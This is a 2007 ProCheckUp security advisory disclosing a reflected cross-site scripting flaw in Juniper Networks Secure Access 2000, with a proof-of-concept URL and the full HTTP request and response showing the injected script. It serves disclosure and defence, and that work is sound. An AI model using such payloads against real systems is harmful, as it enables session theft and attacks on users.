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PR07-41 - XSS on Juniper Networks Secure Access 2000

Vulnerability found:
06 December 2007
Vendor informed:
12 December 2007
Severity level:
Medium/High
Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description:
Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'

Consequences

An attacker may be able to cause execution of malicious scripting code in the browser of a victim user who clicks on a link to a Juniper Networks Secure Access site. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: admin session IDs) to unauthorised third parties.

BID

28034

CVE reference

CVE-2008-1180

Successfully tested on

Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)
Proof of concept:
https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default


- COMPLETE HTTP REQUEST
GET /dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]

- PARTIAL HTTP RESPONSE

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode </APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>
How to fix:
Juniper Networks was aware of this issue which they addressed on version 5.5R3. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.
References:
http://www.procheckup.com/research/views/vulnerabilities

http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/
Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.
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